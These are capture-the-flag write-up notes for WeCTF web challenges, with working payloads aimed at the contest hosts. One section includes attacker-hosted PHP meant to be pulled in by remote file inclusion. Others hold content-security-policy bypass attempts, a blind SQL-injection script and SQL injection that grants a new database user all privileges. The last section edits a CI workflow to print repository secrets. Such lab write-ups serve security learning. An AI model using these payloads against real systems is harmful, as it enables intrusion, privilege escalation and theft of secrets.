---
# System prepended metadata

title: WeCTF

---

# WeCTF

## Welcome [Solved]

NoRelect

```
b64decode("d2UlN0I1ODRjNGNiMC1jYjU4LTQ1YWItOTNhNC0yOWY1YmRhYzlmMjJAaGVsbG9faGFja2VycyU3RSU3RA==")
```

Base64 decode,
then url decode

Flag:
```
we{584c4cb0-cb58-45ab-93a4-29f5bdac9f22@hello_hackers~}
```

## Include [Solved]

NoRelect

Flag is at /flag.txt on filesystem
`http://include.sf.ctf.so/`

```
 <?php
show_source(__FILE__);
@include $_GET["🤯"];

Fatal error: Uncaught ValueError: Path cannot be empty in /var/www/html/index.php:3 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 3
```

So, this file includes (and executes) all code from a parameter named '🤯'.
If the [allow-url-include](https://www.php.net/manual/en/filesystem.configuration.php#ini.allow-url-include) option is allowed, we can host our own php file that will then get executed.

This code was hosted at `http://taschtatur.ch/include.php`
```php
<?php
$flag = file_get_contents('/flag.txt');
echo $flag;
?>
```

Sent request:
`http://include.sf.ctf.so/?🤯=http%3A%2F%2Ftaschtatur%2Ech%2Finclude%2Ephp`
`http://include.sf.ctf.so/?🤯=http://taschtatur.ch/include.php`

Both didn't work, tried `http://include.sf.ctf.so/?%F0%9F%A4%AF=/flag.txt`

```html
<code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php<br />show_source</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br />@include&nbsp;</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">"🤯"</span><span style="color: #007700">];<br /></span>
</span>
</code>we{695ed01b-3d31-46d7-a4a3-06b744d20f4b@1nc1ud3_/etc/passwd_yyds!}
```

yay

## CSP 1

mantix101

```
Host 1 (San Francisco): csp1.sf.ctf.so
Host 2 (Los Angeles): csp1.la.ctf.so
Host 3 (New York): csp1.ny.ctf.so
Host 4 (Singapore): csp1.sg.ctf.so
```

Request: 
```
curl -X POST --data-raw "content=<h1>Hello</h1>" "http://csp1.ny.ctf.so/write"
```

Response:
```
<!-- Permalink: it's in navbar dumbass -->

<hr>

<h1>Hello</h1>
```

Request (display cookie):

```
<div id="test"></div>
<script>
let test = document.getElementById("test");
test.innerHTML = document.cookie;
</script>
```

Response blocked by Content Security Policy

```
Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'none'". Either the 'unsafe-inline' keyword, a hash ('sha256-oLy/bB06+8NFql2NhndsQAPbeeXQaLtmBP/FeOGYBgA='), or a nonce ('nonce-...') is required to enable inline execution
```

```
Content-Security-Policy: default-src 'none'; connect-src 'self'; img-src 'self' ; script-src 'none'; style-src 'self'; base-uri 'self'; form-action 'self'
```


Possbile Payload

```
<div id="test"></div>
<object data="data:text/html;base64,PHNjcmlwdD4KbGV0IHRlc3QgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGVzdCIpOwp0ZXN0LmlubmVySFRNTCA9IGRvY3VtZW50LmNvb2tpZTsKPC9zY3JpcHQ+"></object>
```

Nope, if object-src is not given, CSP defaults to default-src


// meta tag
```
<meta http-equiv="Content-Security-Policy" content="default-src https:">
```

```
<img src="https://wectf.free.beeceptor.com;script-src 'unsafe-inline'; ">
<script>alert(1)</script>
```

## Phish (xnull) [Solved]

Request for adding a new Entry
```
curl 'http://phish.sf.ctf.so/add' --data-raw "password=pass&username=user"
```

Will execute the following

```

@app.route("/add", methods=["POST"])
def add():
    username = request.form["username"]
    password = request.form["password"]
    sql = f"INSERT INTO `user`(password, username) VALUES ('{password}', '{username}')"
    try:
        db.execute_sql(sql)
    except Exception as e:
        return f"Err: {sql} <br>" + str(e)
    return "Your password is leaked :)<br>" + \
           """<blockquote class="imgur-embed-pub" lang="en" data-id="WY6z44D"  ><a href="//imgur.com/WY6z44D">Please 
        take care of your privacy</a></blockquote><script async src="//s.imgur.com/min/embed.js" 
        charset="utf-8"></script> """
        
```

If query returns 1 row I receive the message
```<br>UNIQUE constraint failed: user.username```

Else an new entry will be inserted and you will be redirected to a new page with the content
```

Your password is leaked :)<br><blockquote class="imgur-embed-pub" lang="en" data-id="WY6z44D"  ><a href="//imgur.com/WY6z44D">Please
        take care of your privacy</a></blockquote><script async src="//s.imgur.com/min/embed.js"
        charset="utf-8"></script>
        
```

This is a classic blind sql-injection attack
We can now select substrings from the user "shou" which will be inserted at the start

```

@db.connection_context()
def initialize():
    try:
        db.create_tables([User])
        User.create(username="shou", password=os.getenv("FLAG"))
    except:
        pass

```

Here a POC

```

curl 'http://phish.sf.ctf.so/add' --data-raw "password=pass&username=somethingveryunique') UNION SELECT username,password from user where username='shou' and substr(password,1,1)='w' --"

```

Now we are able to leak the flag using a python script

```

import requests
from string import printable, digits, ascii_uppercase, ascii_lowercase
import random
url = "http://phish.la.ctf.so/add"
flag = "we{e0df7105-edcd-4dc6-8349-f3bef83643a9@h0P3_u_didnt_u3e_sq1m4P}"
n = len([y for y in flag]) + 1

chars = ascii_lowercase + digits + "-_@{}"
while True:
    for c in printable:
        username = ''.join(random.choices(ascii_uppercase + digits, k=18))
        data={
            "username": f"{username}') UNION SELECT username,password from user where username='shou' and substr(password,{n},1)='{c}' --",
            "password" :"password"
        }
        resp = requests.post(url=url, data=data)
        if "UNIQUE constraint failed: user.username" in resp.text:
            flag = flag + c
            n = n +1
            print(flag)
    if flag[-1] == "}":
        break
print(flag)


```


## Coin Exchange (xnull)

Register/Login changes to wss
```
{"type":"init","content":{"username":"verylongusernamethatdoesnotexist1","password":"verylongusernamethatdoesnotexist1"}}
```
Session Token is sha256(username@password)

Pretty interesting (index.html)

```
function start_socket(){
            socket = new WebSocket("ws://" + document.URL.substr(7).split('/')[0], "ethexchange-api");
            socket.onopen = function(e) {
                routine = setInterval(routine_update, 1000)
            };
            socket.onmessage = function(event) {
                let data = JSON.parse(event.data);
                let content = data["content"]
                switch (data["type"]) {
                    case "routine":
                        config = content;
                        break;
                    case "message":
                        alert(content["message"])
                        break
                    case "error":
                        alert("Error occurred, please refresh the page")
                        break
                }
            };
        }
```

Maybe this can help us with an XSS
I'll have a closer look at:
```
case "message":
    alert(content["message"])
    break
case "error":
    alert("Error occurred, please refresh the page")
    break
```

we are able to send the following commands

- "init": sendJson(connection, login(message_json["content"]))
- "ping": sendJson(connection, routine(getToken(request.cookies)))
- "buy": sendJson(connection, buy(message_json["content"], getToken(request.cookies)))
- "sell": sendJson(connection, sell(message_json["content"], getToken(request.cookies)))
- "transfer": sendJson(connection, transfer(message_json["content"], getToken(request.cookies)))

## CloudTable

`cloudtable.sf.ctf.so`

source is available: https://storage.googleapis.com/wectf21-chall/csp1.zip
```python
import json
import os

from flask import Flask, render_template, request, jsonify
from pymysqlpool.pool import Pool
from recaptcha import verify_recaptcha, PUB
import string
import random


app = Flask(__name__)
BASE_DB = "cloudtable"
USERNAME = os.getenv("DB_USER")
PASSWORD = os.getenv("DB_PASSWORD")
HOST = "35.193.26.163"

pool = Pool(host=HOST, user=USERNAME, password=PASSWORD, db="mysql", autocommit=True)
pool.init()

SCHEMA_TYPES = {
    1: "INT",
    2: "CHAR(255)",
    3: "BOOL"
}


def random_string():
    letters = string.ascii_lowercase
    return ''.join(random.choice(letters) for _ in range(14))


def random_password():
    letters = string.ascii_lowercase + string.ascii_uppercase + string.digits
    return ''.join(random.choice(letters) for _ in range(31))


def create_instance(schema):
    username, password, table_name = random_string(), random_password(), random_string()
    attr_count = len(schema)
    if attr_count == 0: return None, None, None
    # convert schema ({ATTR_NAME: ATTR_TYPE}) to an array
    info_arr = schema.keys()
    # create sql template for creating table
    try:
        create_sql_tmpl = f"CREATE TABLE `{BASE_DB}`.`{table_name}`("
        for i in info_arr:
            create_sql_tmpl += f"`%s` {SCHEMA_TYPES[int(schema[i])]},"
        create_sql_tmpl = create_sql_tmpl[:-1] + ");"
    except Exception as e:
        print(e)
        return None, None, None

    with pool.get_conn() as conn:
        with conn.cursor() as cursor:
            # create table
            cursor.execute(create_sql_tmpl, tuple(info_arr))
            # create temp user
            cursor.execute(f"CREATE USER '{username}'@'%' IDENTIFIED BY '{password}';")
            cursor.execute(f"GRANT ALL PRIVILEGES ON `{BASE_DB}`.`{table_name}` TO '{username}'@'%';")
            cursor.execute(f"FLUSH PRIVILEGES;")

    return username, password, table_name


@app.route('/')
def index():
    return render_template("index.html", pubkey=PUB)


@app.route('/create', methods=["POST"])
def create():
    if not verify_recaptcha():
        return "Wrong captcha"
    username, password, table_name = create_instance(json.loads(request.form.get("payload")))
    return jsonify({
        "username": username,
        "password": password,
        "table_name": table_name,
        "host": HOST,
        "db": BASE_DB,
    })


if __name__ == '__main__':
    app.run()

```

```
`); CREATE USER 'zerowidthspace'@'%' IDENTIFIED BY 'zerowidthspace';GRANT ALL PRIVILEGES ON *.* TO 'zerowidthspace'@'%';FLUSH PRIVILEGES --
`); CREATE USER 'zerowidthspace'@'%' IDENTIFIED BY 'zerowidthspace';GRANT ALL PRIVILEGES ON *.* TO 'zerowidthspace'@'%';FLUSH PRIVILEGES; CREATE TABLE cloudtable.asdfasdf (test INT`

`); CREATE USER `zerowidthspace`@`%` IDENTIFIED BY `zerowidthspace`;GRANT ALL PRIVILEGES ON *.* TO `zerowidthspace`@`%`;FLUSH PRIVILEGES; CREATE TABLE cloudtable.asdfasdf (test INT`

asdf` INT); CREATE USER `zerowidthspace`@`%` IDENTIFIED BY `zerowidthspace`;GRANT ALL PRIVILEGES ON *.* TO `zerowidthspace`@`%`;FLUSH PRIVILEGES; CREATE TABLE cloudtable.asdfasdf (`test
CREATE TABLE `cloudtable`.`random_table`(`adsf` INT); CREATE USER zerowidthspace@% IDENTIFIED BY zerowidthspace;GRANT ALL PRIVILEGES ON *.* TO zerowidthspace@%;FLUSH PRIVILEGES; CREATE TABLE cloudtable.asdfasdf (`test` INT);

asdf` INT); CREATE USER '`zerowidthspace`'@'`%`' IDENTIFIED BY '`zerowidthspace`';GRANT ALL PRIVILEGES ON *.* TO '`zerowidthspace`'@'`%`';FLUSH PRIVILEGES; CREATE TABLE cloudtable.asdfasdf (`test
```

## GitHub (abandoned)

github repo here:
```
https://github.com/wectf-challs/production-fd114157-05cb-4e39-800f-00465adea05f
```

published images here:
```
https://hub.docker.com/r/wectfchall/poop
```

pr.yaml
```yaml
name: Say Hi

on: [pull_request]

jobs:
  build:

    runs-on: ubuntu-latest

    steps:
    - uses: actions/checkout@v2
    - name: Say Hi
      run: |
        echo "hi!!"
```

modified to:
```yaml
name: Say Hi

on: [pull_request]

jobs:
  build:

    runs-on: ubuntu-latest

    steps:
    - uses: actions/checkout@v2
    - name: Say Hi
      run: |
        echo ${{ secrets.DOCKER_USERNAME }} ${{ secrets.DOCKER_PASSWORD }}
```

sadly no write access to push own branch